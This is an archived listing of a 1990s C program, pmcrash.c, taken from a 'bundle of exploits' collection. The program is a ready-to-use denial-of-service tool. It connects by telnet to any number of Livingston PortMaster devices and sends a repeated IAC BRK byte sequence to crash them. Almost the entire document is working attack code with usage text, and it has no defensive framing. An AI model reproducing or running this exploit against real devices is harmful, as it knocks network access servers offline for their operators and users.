home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Hacking & Misc / bundle of exploits.sit / bundle of exploits / pmcrash.c < prev    next >
C/C++ Source or Header  |  1998-07-17  |  4KB  |  171 lines

  1. /*    The following code will crash ANY Livingston PortMaster. 
  2.     It telnets the the portmaster and overflows its buffers.
  3.  
  4.         Thanks to 'The Doc' for this one.       */
  5.  
  6.  
  7.  
  8. /* pmcrash - note this'll work much faster if all your arguments
  9.              are IP addresses.. mainly because I didn't feel like
  10.              coding a structure to keep track of all the resolved
  11.              names.. so write a script to resolve your list of
  12.              names first, then provide those as arguments */
  13.  
  14. /* This program is free software; you can redistribute it and/or modify
  15.  * it under the terms of the GNU General Public License as published by
  16.  * the Free Software Foundation; either version 2 of the License, or
  17.  * (at your option) any later version.
  18.  *
  19.  * This program is distributed in the hope that it will be useful,
  20.  * but WITHOUT ANY WARRANTY; without even the implied warranty of
  21.  * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
  22.  * GNU General Public License for more details.
  23.  *
  24.  * You should have received a copy of the GNU General Public License
  25.  * along with this program; if not, write to the Free Software
  26.  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  27.  */
  28.  
  29. /* Compiling instructions:
  30.  
  31.    Linux:
  32.      gcc -O2 -fomit-frame-pounter -s -o pmfinger pmfinger.c
  33.  
  34.    Solaris 2.4:
  35.      cc -O -s -o pmfinger pmfinger.c -lsocket -lnsl -lresolv -lucb
  36.  
  37. */
  38.  
  39. #include <sys/time.h>
  40. #include <stdio.h>
  41. #include <string.h>
  42. #include <stdlib.h>
  43. #include <unistd.h>
  44. #include <sys/types.h>
  45. #include <sys/socket.h>
  46. #include <fcntl.h>
  47. #include <signal.h>
  48. #include <errno.h>
  49. #include <netinet/in.h>
  50. #include <netdb.h>
  51. #include <arpa/inet.h>
  52. #include <pwd.h>
  53.  
  54. #ifndef sys_errlist
  55. extern char *sys_errlist[];
  56. #endif
  57.  
  58. #ifndef errno
  59. extern int errno;
  60. #endif
  61.  
  62. /* Inet sockets :-) */
  63. int num=0;
  64. int socks[250];
  65.  
  66. /* show sessions flag */
  67. unsigned short int showflag=0;
  68.  
  69. char *
  70. mystrerror(int err) {
  71.   return(sys_errlist[err]);
  72. }
  73.  
  74. void
  75. exitprog(void) {
  76.   while(num--) {
  77.     shutdown(socks[num-1],0);
  78.     close(socks[num-1]);
  79.   }
  80.   exit(0);
  81. }
  82.  
  83. unsigned long int
  84. resolver(host)
  85. char *host;
  86. {
  87.   unsigned long int ip=0L;
  88.  
  89.   if(host && *host && (ip=inet_addr(host))==-1) {
  90.     struct hostent *he;
  91.  
  92.     if(!(he=gethostbyname((char *)host)))
  93.       ip=0L;
  94.     else
  95.       ip=*(unsigned long *)he->h_addr_list[0];
  96.   }
  97.   return(ip);
  98. }
  99.  
  100. void
  101. usage(void) {
  102.   puts("pmcrash v0.2a - ComOS System Rebooter :-)\n"
  103.        "Copyright (C) 1995 LAME Communications\n"
  104.        "Written by Dr. Delete, Ph.D.\n\n"
  105.        "Usage: pmcrash <portmaster>[:port] [<portmaster>[:port] ... ]\n");
  106.   exit(0);
  107. }
  108.  
  109. void
  110. main(int argc,char *argv[]) {
  111.   unsigned short int port=0,x=1;
  112.   struct sockaddr_in server;
  113.   char crash[] = { 0xFF,0xF3,0xFF,0xF3,0xFF,0xF3,0xFF,0xF3,0xFF,0xF3 };
  114.   char *temp;
  115.  
  116.   if(argc<2)
  117.     usage();
  118.  
  119.   signal(SIGPIPE,(void (*)())exitprog);
  120.   signal(SIGHUP,(void (*)())exitprog);
  121.   signal(SIGINT,(void (*)())exitprog);
  122.   signal(SIGTERM,(void (*)())exitprog);
  123.   signal(SIGBUS,(void (*)())exitprog);
  124.   signal(SIGABRT,(void (*)())exitprog);
  125.   signal(SIGSEGV,(void (*)())exitprog);
  126.  
  127.   server.sin_family=AF_INET;
  128.  
  129.   printf("\nConnecting..."); fflush(stdout);
  130.  
  131.   for(;x<argc;x++) {
  132.     if((socks[num]=socket(AF_INET,SOCK_STREAM,0))==-1) {
  133.       fprintf(stderr,"Unable to allocate AF_INET socket: %s\n",mystrerror(errno));
  134.       exitprog();
  135.     }
  136.     setsockopt(socks[num],SOL_SOCKET,SO_LINGER,0,0);
  137.     setsockopt(socks[num],SOL_SOCKET,SO_REUSEADDR,0,0);
  138.     setsockopt(socks[num],SOL_SOCKET,SO_KEEPALIVE,0,0);
  139.     if((temp=strstr(argv[x],":"))) {
  140.       *temp++=(char)0;
  141.       server.sin_port=htons((atoi(temp)));
  142.     }
  143.     else
  144.       server.sin_port=htons(23);
  145.     if(!(server.sin_addr.s_addr = resolver(argv[x]))) {
  146.       fprintf(stderr,"Unable to resolve host '%s'.\n",argv[x]);
  147.       close(socks[num]);
  148.       continue;
  149.     }
  150.     if(connect(socks[num],(struct sockaddr *)&server,sizeof(struct sockaddr_in))) {
  151.       printf("!"); fflush(stdout);
  152.       /* fprintf(stderr,"Unable to connect to %s. (%s)\n",argv[x],mystrerror(errno)); */
  153.       close(socks[num]);
  154.       continue;
  155.     }
  156.     printf("."); fflush(stdout);
  157.     num++;
  158.   }
  159.  
  160.   printf("\nSweeping..."); fflush(stdout);
  161.  
  162.   for(x=0;x<num;x++) {
  163.     write(socks[x],crash,10);
  164.     printf("."); fflush(stdout);
  165.   }
  166.   puts("\n");
  167.   sleep(4);
  168.   exitprog();
  169. }
  170.  
  171.